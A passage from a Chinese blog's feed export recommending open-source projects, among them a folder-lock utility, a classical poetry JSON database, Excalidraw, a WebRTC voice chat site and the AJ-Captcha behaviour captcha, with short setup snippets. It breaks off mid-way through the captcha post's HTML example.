<url>/blog/2022/02/17/bao-hu-dian-nao-si-mi-zi-yuan-yin-cang-ni-de-xiao-mi-mi/</url>
<content type="html"><![CDATA[<p>大家好,我是开源小妹!</p><p>大家有没有自己的小秘密,放在家里的电脑,又担心被看了去?</p><p>小妹这几天逛 Github 偶然间发现一个好使的工具 Folder-locker ,完美解决了这个困扰。</p><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>Folder-locker 是一个小巧的文件上锁软件,没有压缩和加密过程,界面虽然比较简陋,但是非常方便快捷。</p><h2 id="使用"><a href="#使用" class="headerlink" title="使用"></a>使用</h2><h3 id="安装"><a href="#安装" class="headerlink" title="安装"></a>安装</h3><p>双击 Folder.Locker.exe<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202172128549.png"><br>选择安装路径,同意协议,点击 Install。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202172129325.png"><br>安装完成<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202172129041.png"></p><h3 id="使用-1"><a href="#使用-1" class="headerlink" title="使用"></a>使用</h3><p>在想加密的文件夹上,右键则可呼出加密面板,输入两次密码确认加密。</p><p>在已加密的文件夹上,右键,输入密码,则取消加密。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202172129841.gif"></p><h3 id="注意事项"><a href="#注意事项" class="headerlink" title="注意事项"></a>注意事项</h3><ul><li>不要安装到C盘,可以选择默认要安装到D盘。</li><li>密码保存在本机数据库,没有上传任何服务器。</li><li>删除软件会同时删除数据库,因而删除密码。<br>如果忘记密码:</li></ul><p>如果密码遗失,文件被锁,可以通过命令行工具重命名。<br>例如,你的文件夹为 E:\folder, 就打开cmd命令窗口,执行如下命令</p><pre><code>ren e:\folder.&#123;2559a1f2-21d7-11d4-bdaf-00c04f60b9f0&#125; new_folder</code></pre><p>其中{2559a1f2-21d7-11d4-bdaf-00c04f60b9f0} 不变,”new_folder”替换为自己想要的文件名。</p><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>看是不是很轻巧,使用便捷。公众号后台回复「保护」即可获得源代码地址。快用起来,保护自己的小秘密吧。</p>]]></content>
<tags>
<tag> 奔跑的阿白 </tag>
</tags>
</entry>
<entry>
<title>雷军写的代码像诗一样优雅,我有最全中文诗歌古典文集数据库</title>
<link href="/blog/2022/02/13/zui-quan-zhong-wen-shi-ge-gu-dian-wen-ji-shu-ju-ku/"/>
<url>/blog/2022/02/13/zui-quan-zhong-wen-shi-ge-gu-dian-wen-ji-shu-ju-ku/</url>
<content type="html"><![CDATA[<p>大家好,我是可爱机灵的开源小妹!</p><p>最近公众号改版了,大家记得星标<code>开源小分队</code>,第一时间收到我们优质内容的更新!</p><p>诗词是心灵的绽放,映照每一回寒来暑往,它是”草长莺飞二月天“,它是”稻花香里说丰年“,我们走过春夏秋冬,诗意始终伴随左右。</p><p>《中国诗词大会》唯美开场词:</p><p><strong>千门万户曈曈日,总把新桃换旧符。</strong></p><p><strong>我见青山多妩媚,料青山见我应如是。</strong></p><p><strong>律回岁晚冰霜少,春到人间草木知。</strong></p><p><strong>读书不觉已春深,一寸光阴一寸金。</strong></p><p><strong>杨柳青青江水平,闻郎江上唱歌声。</strong></p><p><strong>慈母手中线,游子身上衣。</strong></p><p><strong>身无彩凤双飞翼,心有灵犀一点通。</strong></p><p><strong>长风破浪会有时,直挂云帆济沧海。</strong></p><p><strong>天地英雄气,千秋尚凛然。</strong></p><p><strong>安得广厦千万间,大庇天下寒士俱欢颜。</strong></p><p>上学的时候,大家可能都有背诗的经历,或许也是曾经的噩梦。古诗是中华民族乃至全世界的瑰宝,我们应该传承下去,今天小妹在逛 GitHub 时候,发现一个很棒的项目 chinese-poetry,最全中文诗歌古典文集数据库。</p><h3 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h3><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202202131542179.png"></p><p>Chinese-poetry 可能是全网最全中文是个古典文集数据库了,数据是 json 格式,方便进行版本管理。该项目截止目前为止收集了互联网上 5.5 万首唐诗、26 万首宋诗和2.1 万首宋词。唐宋两朝近 1.4 万古诗人, 和两宋时期 1.5K 词人。</p><h3 id="数据集"><a href="#数据集" class="headerlink" title="数据集"></a>数据集</h3><p>该仓库收集的数据集合如下:</p><ul><li>全唐诗 json</li><li>全宋诗 json</li><li>全宋词 ci</li><li>五代·花间集 wudai</li><li>五代·南唐二主词 wudai</li><li>论语 lunyu</li><li>诗经 shijing</li><li>幽梦影 youmengying</li><li>四书五经 sishuwujing</li><li>蒙學 mengxue</li></ul><h3 id="古诗JSON结构"><a href="#古诗JSON结构" class="headerlink" title="古诗JSON结构"></a>古诗JSON结构</h3><pre class=" language-json"><code class="language-json"><span class="token punctuation">[</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"strains"</span><span class="token operator">:</span> <span class="token punctuation">[</span> <span class="token string">"平平平仄仄,平仄仄平平。"</span><span class="token punctuation">,</span> <span class="token string">"仄仄平平仄,平平仄仄平。"</span><span class="token punctuation">,</span> <span class="token string">"平平平仄仄,平仄仄平平。"</span><span class="token punctuation">,</span> <span class="token string">"平仄仄平仄,平平仄仄平。"</span> <span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token property">"author"</span><span class="token operator">:</span> <span class="token string">"太宗皇帝"</span><span class="token punctuation">,</span> <span class="token property">"paragraphs"</span><span class="token operator">:</span> <span class="token punctuation">[</span> <span class="token string">"秦川雄帝宅,函谷壯皇居。"</span><span class="token punctuation">,</span> <span class="token string">"綺殿千尋起,離宮百雉餘。"</span><span class="token punctuation">,</span> <span class="token string">"連甍遙接漢,飛觀迥凌虛。"</span><span class="token punctuation">,</span> <span class="token string">"雲日隱層闕,風煙出綺疎。"</span> <span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token property">"title"</span><span class="token operator">:</span> <span class="token string">"帝京篇十首 一"</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">,</span> ... 每单个JSON文件<span class="token number">1000</span>条唐诗记录.<span class="token punctuation">]</span></code></pre><h3 id="高频词分析图"><a href="#高频词分析图" class="headerlink" title="高频词分析图"></a>高频词分析图</h3><ul><li><strong>宋词受欢迎的词牌名</strong></li></ul><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202202131537099.png"></p><ul><li><strong>唐诗高频词</strong></li></ul><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202202131537970.png"></p><ul><li><strong>宋词作者作品榜</strong></li></ul><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202202131539450.png"></p><ul><li><strong>唐诗作者作品榜</strong></li></ul><p><img src="https://gitee.com/zysspace/pic/raw/master/images/202202131540093.png"></p><h3 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h3><p>唐诗宋词是我们老祖宗留给我们的文学精华。古人以诗词作为载体,来阐述自己内心的离别之情,思乡怀仁之情,国破家亡,怀才不遇等。</p><p>我们也引用那些经典唐诗宋词中的名句来表达自己的情感,而不是使用一些皱巴巴的辞藻。</p><p>通过小妹的安利,大家是不是也想加入到文艺青年的队伍,在公众号后台回复【诗词】,获取项目地址吧~~~</p><h3 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h3><p>欢迎加入开源小分队读者交流群,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!</p><p>进群方式:<code>开源小分队</code> 公众号后台回复<code>888</code>,按提示操作即可进群。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对小妹非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 胜 </tag>
</tags>
</entry>
<entry>
<title>别再问我用什么画图了,精美的开源手绘风白板应用介绍给你!</title>
<link href="/blog/2022/02/09/bie-zai-wen-wo-yong-shi-me-hua-tu-liao-jing-mei-de-kai-yuan-shou-hui-feng-bai-ban-ying-yong-jie-shao-gei-ni/"/>
<url>/blog/2022/02/09/bie-zai-wen-wo-yong-shi-me-hua-tu-liao-jing-mei-de-kai-yuan-shou-hui-feng-bai-ban-ying-yong-jie-shao-gei-ni/</url>
<content type="html"><![CDATA[<p>大家好,我是开源大叔。</p><p>在创作技术文章或者编写架构 PPT 时,除了要展示必要的伪代码外,经常还需要配一些直观的架构图,以此来呈现出更加丰富和直观的内容。</p><p>能用在作图的软件有很多,比如直接用 PPT 作图或者用一些在线的流程图设计工具。但是大叔常常觉得这些工具绘画出来的样式过于严肃,放在精美的 PPT 中总感到不够美观。</p><p>今天大叔给大家带来的是一款拥有手绘风格的开源绘图工具: <strong>Excalidraw。</strong></p><p><img src="https://files.mdnice.com/user/21078/638bdf4e-b085-4166-bbdb-768a2c09e063.png"></p><h3 id="手绘样式"><a href="#手绘样式" class="headerlink" title="手绘样式"></a>手绘样式</h3><p>首先给大家看看 Excalidraw 到底长什么样子:</p><p><img src="https://files.mdnice.com/user/21078/6d94b6e5-571c-4dd9-a3f2-24a258c2a8da.png"></p><p>是不是就像是人工手绘一样,在文章中作为配图,当大家习惯了看以下呆板的框框之后,看到这种手绘形式必然会眼前一亮。</p><h3 id="丰富的颜色"><a href="#丰富的颜色" class="headerlink" title="丰富的颜色"></a>丰富的颜色</h3><p>当然 Excalidraw 不只局限于黑白的绘画,它还能提供不同的颜色画笔满足你不同的需求,甚至与还支持的直接添加色号。</p><p><img src="https://files.mdnice.com/user/21078/8253a8cf-e2d9-447f-8a76-1b485e3dc02f.png"></p><h3 id="基础元素和配置项"><a href="#基础元素和配置项" class="headerlink" title="基础元素和配置项"></a>基础元素和配置项</h3><p>除了矩形外,还提供了菱形、椭圆、箭头、线和文字等基础元素。</p><p>对于每个形状,您可以调整以下几个属性:</p><ul><li>颜色</li><li>填充</li><li>描边宽度</li><li>描边样式</li><li>边框</li><li>边角</li><li>不透明度</li></ul><p><img src="https://files.mdnice.com/user/21078/8d5289ae-9e07-4112-b09a-d2c3b3f657cf.gif"></p><h3 id="创建图表"><a href="#创建图表" class="headerlink" title="创建图表"></a>创建图表</h3><p>最后再给大家介绍好用的功能,能够快速创建图表。</p><p>例如复制以下内容进入 Excalidraw:</p><pre class=" language-wasm"><code class="language-wasm">Day,CommitsMon,137Tue,192Wed,114Thu,75Fri,155Sat,45Sun,20</code></pre><p>即可快速创建出下面两种图表</p><p><img src="https://files.mdnice.com/user/21078/c3a3d084-a37e-4732-8d9c-2aaeeb1e772d.png"></p><p>当然您也可以直接在 Excel 复制单元格内容,Excalidraw 也可快速的创建出图表来。</p><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>就如前面所介绍的一样,Excalidraw 是一款方便精美的手绘风格绘图工具,设计简洁,易上手,能够给您的文章添色不少!</p><p>如果您有这种绘图的需求,又想给大家一个眼前一亮的效果,那就赶快来试试这个项目吧!在公众号后台回复「<code>手绘</code>」即可获取项目地址和试用地址。</p>]]></content>
<tags>
<tag> 怂 </tag>
</tags>
</entry>
<entry>
<title>82张思维导图,这个牛逼项目,必须收藏!</title>
<link href="/blog/2022/02/06/82-zhang-si-wei-dao-tu-zhe-ge-niu-bi-xiang-mu-bi-xu-shou-cang/"/>
<url>/blog/2022/02/06/82-zhang-si-wei-dao-tu-zhe-ge-niu-bi-xiang-mu-bi-xu-shou-cang/</url>
<content type="html"><![CDATA[<p>大家好,我是可爱机灵的开源小妹!</p><p>最近公众号改版了,大家记得星标<code>开源小分队</code>,第一时间收到我们优质内容的更新!</p><p>众所周知,整个计算机行业的细分方向非常的多,每个方向该如何快速高效去学习,相信这对刚入门的小伙伴来说是非常有挑战的事情。</p><p>今天小妹在逛 github 的时候,发现一个非常棒的开源项目 - <code>learning_mind_map</code>,可以完美的解决这些小伙伴的困难。</p><h2 id="项目简介"><a href="#项目简介" class="headerlink" title="项目简介"></a>项目简介</h2><p><code>learning_mind_map</code>,中文名可以称 2021 年【思维导图】盒子。<br>这个项目主要是收集整理了计算机行业各个细分领域需要重点掌握的知识点,以思维导图的形式呈现出来。</p><p>涉及的方向有计算机原理、C/C++、Golang、Linux、云原生、数据库、DPDK、音视频开发、TCP/IP、数据结构等等。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202062308873.jpg"></p><p>每个方向底下同样还有许多细分的子方向,每个子方向都包含一张或几张思维导图,目前一共有 82 张。帮助大家更加高效地学习、掌握知识重点,妈妈再也不用担心我的学习了!!</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202062309052.jpg"></p><h2 id="项目展示"><a href="#项目展示" class="headerlink" title="项目展示"></a>项目展示</h2><p>下面从每个方向里挑出一张来给大家看看。<br><strong>(可点击查看大图)</strong></p><h3 id="1、计算机——计算机概论"><a href="#1、计算机——计算机概论" class="headerlink" title="1、计算机——计算机概论"></a>1、计算机——计算机概论</h3><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202062256103.Jpeg"></p><h3 id="2、C-C-服务器高级架构——C-从入门到精通"><a href="#2、C-C-服务器高级架构——C-从入门到精通" class="headerlink" title="2、C/C++ 服务器高级架构——C++从入门到精通"></a>2、C/C++ 服务器高级架构——C++从入门到精通</h3><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202062257230.Jpeg"></p><h3 id="3、Golang——Golang-基础"><a href="#3、Golang——Golang-基础" class="headerlink" title="3、Golang——Golang 基础"></a>3、Golang——Golang 基础</h3><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202062259896.Jpeg"><br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202062259897.Jpeg"></p><h3 id="4、数据库——SQL基础"><a href="#4、数据库——SQL基础" class="headerlink" title="4、数据库——SQL基础"></a>4、数据库——SQL基础</h3><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202062259069.Jpeg"></p><h3 id="5、中间件——Nginx知识点"><a href="#5、中间件——Nginx知识点" class="headerlink" title="5、中间件——Nginx知识点"></a>5、中间件——Nginx知识点</h3><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202062300597.Jpeg"></p><h3 id="6、DPDK——DPDK架构图"><a href="#6、DPDK——DPDK架构图" class="headerlink" title="6、DPDK——DPDK架构图"></a>6、DPDK——DPDK架构图</h3><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202062300530.Jpeg"></p><h3 id="7、Linux——Linux内核知识体系"><a href="#7、Linux——Linux内核知识体系" class="headerlink" title="7、Linux——Linux内核知识体系"></a>7、Linux——Linux内核知识体系</h3><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202062301706.png"></p><h3 id="8、音视频开发——音视频流媒体开发知识归纳导图"><a href="#8、音视频开发——音视频流媒体开发知识归纳导图" class="headerlink" title="8、音视频开发——音视频流媒体开发知识归纳导图"></a>8、音视频开发——音视频流媒体开发知识归纳导图</h3><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202062301387.png"></p><h3 id="9、云原生——Docker知识点"><a href="#9、云原生——Docker知识点" class="headerlink" title="9、云原生——Docker知识点"></a>9、云原生——Docker知识点</h3><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202062301092.Jpeg"></p><p>限于文章篇幅的原因,这里只展示了其中 9 张思维导图。</p><h2 id="项目小结"><a href="#项目小结" class="headerlink" title="项目小结"></a>项目小结</h2><p>思维导图的方式,不仅仅对新手很有帮助,对小妹这样有一定工作经验的也是非常有帮助的,能够让熟悉的知识点更加体系化,让不熟悉的知识点能够快速掌握转化成生产力。</p><p>要说他的缺点嘛,可能就是太多了,会不会有朋友看到就放弃,收藏就学废了呢~~~</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202062338696.jpg"></p><p>如果你需要的话,点击下方卡片,回复 <strong>“思维导图”</strong> 获取这 82 张思维导图合集以及项目地址吧~~~</p><h3 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h3><p>欢迎加入开源小分队读者交流群,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!</p><p>进群方式:<code>开源小分队</code> 公众号后台回复<code>888</code>,按提示操作即可进群。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对小妹非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 永恒君 </tag>
</tags>
</entry>
<entry>
<title>直接在浏览器里聊天,这个开源项目太有意思了!</title>
<link href="/blog/2022/02/06/zhi-jie-zai-liu-lan-qi-li-liao-tian-zhe-ge-kai-yuan-xiang-mu-tai-you-yi-si-liao/"/>
<url>/blog/2022/02/06/zhi-jie-zai-liu-lan-qi-li-liao-tian-zhe-ge-kai-yuan-xiang-mu-tai-you-yi-si-liao/</url>
<content type="html"><![CDATA[<p>大家好,我是爱撸码的开源大叔!</p><p>最近公众号改版了,大家记得星标<code>开源小分队</code>,第一时间收到我们优质内容的更新!</p><p>最近大叔逛 Github,发现一个很有意思的开源项目-<code>free4chat</code>,大叔体验后感觉真的很不错,忍不住要推荐给大家。</p><h2 id="项目简介"><a href="#项目简介" class="headerlink" title="项目简介"></a>项目简介</h2><p><code>free4chat</code> 是一个基于 WebRTC 技术的语音聊天室,不需要客户端,无需注册和繁琐的登录过程,分享房间链接,用浏览器打开即可聊天,用完一切就消失了,隐私性好。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202061835154.jpg"></p><p>这个项目核心代码是基于 Go+Vue,后端基于 kraken,它本身又基于 Go 语言中 pion 这个 WebRTC 的库,前端基于 Mornin。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202061836108.jpg"></p><h2 id="项目使用"><a href="#项目使用" class="headerlink" title="项目使用"></a>项目使用</h2><p>我们直接可以直接官网地址来体验一下</p><pre><code>https://free4.chat/</code></pre><p>如下图:</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202061836109.jpg"></p><p>1、在首页可以自定义房间名,或者随机生成房间名。例如大叔输入一个 sourceteam</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202061835155.jpg"></p><p>2、进入后,输入一个昵称,比如kaiyuan_uncle。点击马上加入后,会提示<br>”授权麦克风权限”,记得点击允许。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202061835156.jpg"><br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202061835157.jpg"></p><p>3、然后我们可以看到如下界面,这时需要我们将自己的房间链接分享给自己的好友。</p><pre><code>https://free4.chat/sourceteam</code></pre><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202061835152.jpg"></p><p>5、如果你的好友通过这个链接进入你的房间,你们就可以愉快的聊天了。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202061835153.jpg"></p><h2 id="项目小结"><a href="#项目小结" class="headerlink" title="项目小结"></a>项目小结</h2><p>整体体验下来绝对很不错,通话很稳定,语音质量也很好,无需注册,隐私性好,相比 App 的优势太多了。</p><p>唯一的缺点,可能就是目前还不支持文字聊天功能。</p><p>如果你也感兴趣的话,点击下方卡片,回复 <strong>“聊天”</strong> 获取项目地址吧~~~</p><h3 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h3><p>欢迎加入开源小分队读者交流群,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!</p><p>进群方式:<code>开源小分队</code> 公众号后台回复<code>888</code>,按提示操作即可进群。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对大叔非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 永恒君 </tag>
</tags>
</entry>
<entry>
<title>2022年1月开源项目精华都在这里啦~</title>
<link href="/blog/2022/02/05/2022-nian-1-yue-kai-yuan-xiang-mu-jing-hua-du-zai-zhe-li-la/"/>
<url>/blog/2022/02/05/2022-nian-1-yue-kai-yuan-xiang-mu-jing-hua-du-zai-zhe-li-la/</url>
<content type="html"><![CDATA[<p>大家虎年好啊,我是可爱又机灵的开源小妹!</p><p>又是新的一年了,小妹花了点时间整理了一下1月份分享过的酷酷项目,方便大家进行查看和收藏!</p><p>1、<code>leek-fund(韭菜盒子)</code>:VSCode 查看股票 &amp; 基金 &amp; 期货实时数据的插件。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202051123746.jpg"></p><blockquote><p>地址:<a href="https://github.com/LeekHub/leek-fund">https://github.com/LeekHub/leek-fund</a></p></blockquote><p>2、<code>API Security Checklist</code>:一份 API 安全检查清单,可以用来帮助广大程序员开发一个安全可靠的 API 接口。只需要对照着这份清单,逐条检查检查自己的 API 接口,就可以了解接口是否足够安全,或者发现相关的漏洞。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202051123748.jpg"></p><blockquote><p>地址:<a href="https://github.com/shieldfy/API-Security-Checklist">https://github.com/shieldfy/API-Security-Checklist</a></p></blockquote><p>3、<code>MuiPlayer</code>:是一款H5视频播放插件,包括了常用的播放场景,支持 mp4、m3u8、flv 等多种媒体格式播放,解决大部分兼容问题,同时适应在PC、手机端播放。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202051123749.png"></p><blockquote><p>地址:<a href="https://gitee.com/muiplayer/hello-muiplayer">https://gitee.com/muiplayer/hello-muiplayer</a></p></blockquote><p>4、<code>Canal</code>:译意为水道/管道/沟渠,主要用途是基于 Mysql 数据库增量日志解析,提供增量数据订阅和消费。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202051123750.jpg"></p><blockquote><p>地址:<a href="https://github.com/alibaba/canal">https://github.com/alibaba/canal</a></p></blockquote><p>5、<code>Gifsicle</code>:Gifsicle 是一个功能强大的跨平台命令行工具,可以对 GIF 文件进行修改尺寸大小、颜色、帧率等操作。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202051123751.jpg"></p><blockquote><p>地址:<a href="https://github.com/kohler/gifsicle">https://github.com/kohler/gifsicle</a></p></blockquote><p>6、<code>Unlock-netease-cloud-music</code>:一款可以解锁网易云音乐客户端变灰歌曲的工具,全平台通用。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202051123752.jpg"></p><blockquote><p>地址:<a href="https://github.com/meng-chuan/Unlock-netease-cloud-music">https://github.com/meng-chuan/Unlock-netease-cloud-music</a></p></blockquote><p>7、<code>TheAlgorithms</code>:一个学习算法的项目,录了包括 Python、Java、C++、JavaScript、Go 等多种主流编程语言的算法代码实现。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202051123753.jpg"></p><blockquote><p>地址:<a href="https://github.com/TheAlgorithms">https://github.com/TheAlgorithms</a></p></blockquote><p>8、<code>ZFile</code>: 一个在线文件网盘项目,支持存储如文本、音频和视频等文件类型,使用定位是个人的文件库。除了支持本地存储外,也支持现主流的存储云服务,如阿里云的 OSS 对象存储。。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202051123754.jpg"></p><blockquote><p>地址:<a href="https://github.com/zhaojun1998/zfile">https://github.com/zhaojun1998/zfile</a></p></blockquote><p>9、<code>CAT(Central Application Tracking)</code>:基于 Java 开发的实时应用监控平台,包括实时应用监控,业务监控。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202051123755.jpg"></p><blockquote><p>项目地址:<a href="https://github.com/dianping/cat">https://github.com/dianping/cat</a></p></blockquote><p>10、<code>OpenIM</code>:一款由前微信技术专家打造的免费开源的即时通讯组件。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202051123756.jpg"></p><blockquote><p>地址:<a href="https://github.com/OpenIMSDK/Open-IM-Server">https://github.com/OpenIMSDK/Open-IM-Server</a></p></blockquote><p>11、<code>react-tetris</code>:一个用 React 制作的经典游戏 - 俄罗斯方块。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202051125235.jpg"></p><blockquote><p>地址:<a href="https://github.com/chvin/react-tetris">https://github.com/chvin/react-tetris</a></p></blockquote><p>12、<code>relationship</code>:中文名“中国家庭称谓计算器”,一款帮你搞清楚亲戚关系和亲戚称谓的工具。</p><p><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202202/202202051125445.gif"></p><blockquote><p>地址:<a href="https://github.com/mumuy/relationship">https://github.com/mumuy/relationship</a></p></blockquote><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对小妹非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 永恒君 </tag>
</tags>
</entry>
<entry>
<title>超好用的行为验证码!!</title>
<link href="/blog/2022/01/31/chao-hao-yong-de-xing-wei-yan-zheng-ma/"/>
<url>/blog/2022/01/31/chao-hao-yong-de-xing-wei-yan-zheng-ma/</url>
<content type="html"><![CDATA[<p>大家好,我是可爱又机灵的开源小妹。</p><p>今天给大家分享一个非常好用的行为验证码开源项目:<strong>AJ-Captcha</strong>。</p><h2 id="背景"><a href="#背景" class="headerlink" title="背景"></a>背景</h2><p>大家现在不管是访问网站还是app,有很多登录或发送验证码的场景都会弹出一个框框,然后需要我们去滑动或则去选择图片上的字符,这个就是行为验证码。那这个行为验证码怎么实现的呢 ?有没有比较好用的开源项目呢?今天要介绍的 <strong>AJ-Captcha</strong> 就是做的比较好的一个,那下面就跟着小妹来看看吧。</p><h2 id="快速入门"><a href="#快速入门" class="headerlink" title="快速入门"></a>快速入门</h2><p>行为验证码采用 验证码展示 - 采集用户行为 - 分析用户行为的流程,分为了前端和服务端。这里以 java+ html 作为前后端进行说明。</p><p><strong>加入依赖</strong></p><pre class=" language-xml"><code class="language-xml"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>dependency</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>groupId</span><span class="token punctuation">></span></span>com.anji-plus<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>groupId</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>artifactId</span><span class="token punctuation">></span></span>spring-boot-starter-captcha<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>artifactId</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>version</span><span class="token punctuation">></span></span>1.3.0<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>version</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>dependency</span><span class="token punctuation">></span></span></code></pre><p><strong>后端验证</strong></p><pre class=" language-java"><code class="language-java"><span class="token comment" spellcheck="true">//验证行为是否正确</span> <span class="token annotation punctuation">@PostMapping</span><span class="token punctuation">(</span><span class="token string">"/valid"</span><span class="token punctuation">)</span><span class="token keyword">public</span> ResponseModel <span class="token function">get</span><span class="token punctuation">(</span><span class="token annotation punctuation">@RequestBody</span> CaptchaVO captchaVO<span class="token punctuation">)</span> <span class="token operator">&amp;</span>#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token comment" spellcheck="true">//必传参数:captchaVO.captchaVerification</span> ResponseModel response <span class="token operator">=</span> captchaService<span class="token punctuation">.</span><span class="token function">verification</span><span class="token punctuation">(</span>captchaVO<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> response<span class="token punctuation">;</span><span class="token operator">&amp;</span>#<span class="token number">125</span><span class="token punctuation">;</span></code></pre><p><strong>前端html</strong></p><pre class=" language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>link</span> <span class="token attr-name">rel</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>stylesheet<span class="token punctuation">"</span></span> <span class="token attr-name">type</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>text/css<span class="token punctuation">"</span></span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>css/verify.css<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>box<span class="token punctuation">"</span></span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h3</span><span class="token punctuation">></span></span>滑动弹出<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h3</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation">=</span><span class="token punctuation">"</span>mpanel2<span class="token punctuation">"</span></span><span class="token style-attr language-css"><span class="token attr-name"> <span class="token attr-name">style</span></span><span class="token punctuation">="</span><span class="token attr-value"><span class="token property">margin-top</span><span class="token punctuation">:</span><span class="token number">5</span>px<span class="token punctuation">;</span></span><span class="token punctuation">"</span></span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>h3</span><span class="token punctuation">></span></span>点选嵌入式<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>h3</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token 